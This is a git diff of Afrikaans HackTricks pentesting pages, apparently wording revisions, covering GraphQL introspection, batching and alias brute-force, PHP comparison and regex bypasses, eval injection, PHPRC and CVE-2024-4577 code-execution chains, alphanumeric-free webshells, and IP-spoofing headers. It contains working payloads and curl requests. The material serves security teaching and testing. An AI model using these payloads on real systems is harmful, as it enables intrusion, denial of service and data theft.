In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en ook flieks hê, wat verhoudings binne die databasis aandui.
In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en het ook flieks, wat verhoudings binne die databasis aandui.
'n mutasie om **nuwe** flieks binne die databasis te skep kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem):
'n mutasie om **nuwe** flieks binne die databasis te **skep** kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -351,9 +351,9 @@ Soos ons kan sien uit die respons skermskoot, het die eerste en derde versoeke _
## GraphQL Sonder Introspeksie
Al hoe meer **graphql eindpunte deaktiveer introspeksie**. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) om die meeste van die skema te hercreëer.
Al hoe meer **graphql eindpunte deaktiveer introspeksie**. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) om die meeste van die skema te herop te bou.
Boonop observeer die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema vir GraphiQL en Voyager blootstel. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Boonop, die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) uitbreiding **observeer GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema blootstel vir GraphiQL en Voyager. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
'n Goeie **woordlys** om [**GraphQL entiteite te ontdek kan hier gevind word**](https://github.com/Escape-Technologies/graphql-wordlist?).
@ -455,21 +455,21 @@ Mutasie kan selfs lei tot rekening oorname deur te probeer om ander rekeningdata
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### Bypass autorisasie in GraphQL
### Oortreding van magtiging in GraphQL
[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak outentikasie-stelsel omseil.
[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) kan 'n swak magtigingstelsel omseil.
In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan omseil word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruikersvariabele by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Omseiling van Tariefbeperkings met behulp van Aliasse in GraphQL
## Oortreding van Tariefbeperkings met behulp van Aliasse in GraphQL
In GraphQL is aliasse 'n kragtige kenmerk wat die **benaming van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meervoudige instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het.
In GraphQL is aliasse 'n kragtige kenmerk wat die **naamgewing van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meervoudige instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte verskeie eienskappe met dieselfde naam het.
Vir 'n gedetailleerde begrip van GraphQL-aliasse, word die volgende hulpbron aanbeveel: [Aliasse](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Terwyl die primêre doel van aliasse is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde gebruiksgeval geïdentifiseer waar aliasse benut kan word om brute force-aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefbeperkings wat ontwerp is om brute force-aanvalle te keer deur die **aantal HTTP-versoeke** te beperk. egter, hierdie tariefbeperkings mag nie rekening hou met die aantal operasies binne elke versoek nie. Aangesien aliasse die insluiting van meervoudige navrae in 'n enkele HTTP-versoek toelaat, kan hulle sulke tariefbeperkings omseil.
Terwyl die primêre doel van aliasse is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde gebruiksgeval geïdentifiseer waar aliasse benut kan word om brute force-aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefbeperkings wat ontwerp is om brute force-aanvalle te keer deur die **aantal HTTP-versoeke** te beperk. egter, hierdie tariefbeperkings mag nie rekening hou met die aantal operasies binne elke versoek nie. Aangesien aliasse die insluiting van verskeie navrae in 'n enkele HTTP-versoek toelaat, kan hulle sulke tariefbeperkings omseil.
Oorweeg die voorbeeld hieronder, wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkelafslagkode te verifieer. Hierdie metode kan tariefbeperkings omseil aangesien dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik die verifikasie van verskeie afslagkode gelyktydig toelaat.
```bash
@ -501,7 +501,7 @@ Om dit te verminder, implementeer alias telling beperkings, navraag kompleksitei
### **Array-gebaseerde Navraag Groepering**
**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae gelyktydig uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en potensieel kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diens beskikbaarheid te verlaag.
**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae gelyktydig uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diens beskikbaarheid te verlaag.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
In hierdie voorbeeld word 10 verskillende navrae in een versoek saamgegroepeer, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter groepgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai.
In hierdie voorbeeld word 10 verskillende navrae in een versoek gebundel, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter bundelgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai.
### **Direktiewe Oorlaai Kwetsbaarheid**
**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te ontketen, wat lei tot **Denial of Service (DoS)**.
**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te ontlok, wat lei tot **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -539,7 +539,7 @@ En dan **gebruik sommige van die persoonlike** eenhede.
### **Veld Duplikasie Kwetsbaarheid**
**Veld Duplikasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae toelaat met dieselfde veld wat oormatig herhaal word. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**.
**Veld Duplikasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae toelaat met dieselfde veld wat oormatig herhaal word. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue, en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -553,13 +553,13 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Toets algemene miskonfigurasies van graphql eindpunte
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL sekuriteitsoudit skrip met 'n fokus op die uitvoering van batch GraphQL vrae en mutasies.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Vingerafdruk die graphql wat gebruik word
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Gereedskap wat gebruik kan word om skemas te gryp en sensitiewe data te soek, outorisering te toets, brute force skemas, en paaie na 'n gegewe tipe te vind.
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Gereedskap wat gebruik kan word om skemas te gryp en sensitiewe data te soek, toelaatbaarheid te toets, brute force skemas, en paaie na 'n gegewe tipe te vind.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kan as 'n standalone gebruik word of [Burp uitbreiding](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kan ook as 'n CLI kliënt gebruik word om aanvalle te outomatiseer
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kan ook as 'n CLI kliënt gebruik word om aanvalle te outomatiseer: `python3 graphqlmap.py -u http://example.com/graphql --inject`
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Gereedskap wat die verskillende maniere lys om **'n gegewe tipe in 'n GraphQL skema te bereik**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Die opvolger van Standalone en CLI Modus van InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle te voer, wat nuttig kan wees om swak geïmplementeerde koersbeperkings te omseil.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse wat die name van mutasies en parameters sal voorstel.
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding of python skrip vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle uit te voer, wat nuttig kan wees om swak geïmplementeerde koerslimiete te omseil: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse te gebruik wat die name van mutasies en parameters sal voorstel.
### Kliënte
@ -572,16 +572,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- Video wat AutoGraphQL verduidelik: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## Verwysings
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
- [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
{{#include ../../banners/hacktricks-training.md}}
- Video wat AutoGraphQL verduidelik: [https://www.youtube.com/watch?v=JJmufWfV

45
src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
View File

@ -11,14 +11,14 @@ Koekies:
PHPSESSID
phpMyAdmin
```
Liggings:
Ligginge:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Omseiling van PHP vergelykings
## Omseil van PHP vergelykings
### Los vergelykings/Tipe Juggling ( == )
@ -113,14 +113,14 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas.
[Hierdie Stackoverflow draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` laat wees om SSTI --> RCE --> vlag :)**.
**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` om SSTI --> RCE --> vlag :)**.
Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sê, standaard op 1_000_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\
Om dit te bereik, sal `'X'*500_001` 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe) oplewer:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Tipe Juggling vir PHP obfuskerings
### Tipe Juggling vir PHP obfuskering
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -131,9 +131,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Voer Uit Na Hernoeming (EAR)
## Voer Uit Na Oorplasing (EAR)
As PHP na 'n ander bladsy herlei, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die koptekst `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:
As PHP na 'n ander bladsy oorplaas, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die kop `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -143,7 +143,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Pad Traversal en Lêer Insluiting Exploitatie
## Pad Traversal en Lêerinsluiting Exploitatie
Kontroleer:
@ -155,9 +155,10 @@ Kontroleer:
- **register_globals**: In **PHP < 4.1.1.1** of as verkeerd geconfigureer, kan **register_globals** aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes\*\* wat binne die kode gebruik word oorskryf.
- Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang gee deur die waarde van die ander pad koekie in te stel.\
Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 op pad2 van toepassing is**. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2).
Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 op pad2 van toepassing is**. En dan sal pad2 die veranderlikes van pad1 as geldig beskou (deur die koekie die naam te gee wat ooreenstem met dit in pad2).
- Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kontroleer die adres: **/\~\<USERNAME>** om te sien of die php directories geaktiveer is.
- [**LFI en RCE met behulp van php wrappers**](../../../pentesting-web/file-inclusion/index.html)
- As 'n php konfig **`register_argc_argv = On`** het, dan word query params geskei deur spasies gebruik om die array van argumente **`array_keys($_SERVER['argv'])`** te vul soos asof dit **argumente van die CLI** was. Dit is interessant omdat as daardie **instelling af is**, die waarde van die **args array sal `Null` wees** wanneer dit vanaf die web aangeroep word aangesien die ars arry nie gevul sal wees nie. Daarom, as 'n webblad probeer om te kontroleer of dit as 'n web of as 'n CLI tool loop met 'n vergelyking soos `if (empty($_SERVER['argv'])) {` kan 'n aanvaller **parameters in die GET versoek soos `?--configPath=/lalala`** stuur en dit sal dink dit loop as CLI en potensieel daardie argumente ontleed en gebruik. Meer info in die [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- [**LFI en RCE met php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
@ -174,7 +175,7 @@ True
#### Fout veroorsaak na instel van headers
Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kan jy sien dat as meer as 1000 GET params of 1000 POST params of 20 lêers gestuur word, PHP nie headers in die antwoord gaan instel nie.
Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kan jy sien dat die sending van meer as 1000 GET params of 1000 POST params of 20 lêers, PHP nie headers in die antwoord gaan instel nie.
Dit laat toe om byvoorbeeld CSP headers te omseil wat in kodes soos:
```php
@ -228,9 +229,9 @@ Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is uit
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
U sal die **kode** **sintaksis** moet **breek**, u **payload** moet **byvoeg**, en dit dan weer **regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" wat nie werk nie omdat ons payload nie uitgevoer sal word nie.
U sal die **kode** **syntaksis** moet **breek**, u **payload** moet **byvoeg** en dit dan weer **regmaak**. U kan **logika-operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" werk nie omdat ons payload nie uitgevoer sal word nie.
**Ander opsie** is om die uitvoering van die opdrag by die string te voeg: `'.highlight_file('.passwd').'`
**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'`
**Ander opsie** (as u die interne kode het) is om 'n paar veranderlikes te wysig om die uitvoering te verander: `$file = "hola"`
@ -267,7 +268,7 @@ Om die aantal hakies wat u moet sluit te ontdek:
### **RCE via .httaccess**
As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess **uitgevoer** kan word).
As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess kan **uitgevoer** word).
Verskillende .htaccess shells kan [hier](https://github.com/wireghoul/htshells) gevind word.
@ -277,11 +278,11 @@ As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **w
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hierdie omgewingsvariabele laat u toe om arbitrêre biblioteke te laai wanneer u ander binêre uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).
- **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielêer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan** deur die PHP runtime uitgevoer word voordat enige ander kode.
1. Laai 'n PHP-lêer op wat ons shellcode bevat
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP preprocessor instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
1. Laai 'n PHP-lêer op wat ons shellcode bevat.
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer.
3. Stel die `PHPRC` variabele in op die lêer wat ons in stap 2 opgelaai het.
- Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - 'n ander opsie
- **PHPRC** - 'n ander opsie.
- As u **nie lêers kan oplaai nie**, kan u in FreeBSD die "lêer" `/dev/fd/0` gebruik wat die **`stdin`** bevat, wat die **liggaam** van die versoek is wat na die `stdin` gestuur is:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- Of om RCE te verkry, stel **`allow_url_include`** in en voeg 'n lêer met **base64 PHP kode** voor:
@ -290,11 +291,11 @@ As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **w
### XAMPP CGI RCE - CVE-2024-4577
Die webbediener ontleed HTTP versoeke en stuur dit na 'n PHP-skrip wat 'n versoek uitvoer soos [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, wat 'n parameterinjeksie toelaat. Dit sal toelaat om die volgende parameters in te spuit om die PHP-kode uit die liggaam te laai:
Die webbediener ontleed HTTP versoeke en stuur dit na 'n PHP-skrip wat 'n versoek uitvoer soos [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, wat 'n parameterinjeksie toelaat. Dit sal toelaat om die volgende parameters in te voeg om die PHP-kode uit die liggaam te laai:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
Boonop, dit is moontlik om die "-" parameter in te voeg met die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van [**hierdie pos**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
Boonop, dit is moontlik om die "-" parameter te injekteer met die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van [**hierdie pos**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -324,7 +325,7 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2`
As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking inskakel in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2`
### Deobfuskerende PHP-kode
@ -352,7 +353,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE wat nuwe $\_GET\["a"]\($\_GET\["b") misbruik
As jy op 'n bladsy **'n nuwe objek van 'n arbitrêre klas kan skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
As jy op 'n bladsy **n nuwe objek van 'n arbitrêre klas** kan **skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -382,14 +383,14 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
So, as jy **arbitraire PHP kan uitvoer sonder nommers en letters** kan jy 'n versoek stuur soos die volgende wat daardie payload misbruik om arbitraire PHP uit te voer:
So, as jy kan **arbitraire PHP uitvoer sonder nommers en letters** kan jy 'n versoek stuur soos die volgende wat daardie payload misbruik om arbitraire PHP uit te voer:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Vir 'n meer diepgaande verduideliking, kyk na [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
Vir 'n meer diepgaande verduideliking, kyk [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
### XOR Shellcode (binne eval)
```bash

61
src/network-services-pentesting/pentesting-web/special-http-headers.md
View File

@ -1,4 +1,4 @@
# Spesiale HTTP koptekste
# Spesiale HTTP koppe
{{#include ../../banners/hacktricks-training.md}}
@ -7,7 +7,7 @@
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
## Koptekste om Ligging te Verander
## Koppe om Ligging te Verander
Herskryf **IP bron**:
@ -26,16 +26,16 @@ Herskryf **IP bron**:
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Kontroleer hop-by-hop koptekste)
- `Connection: close, X-Forwarded-For` (Kontroleer hop-by-hop koppe)
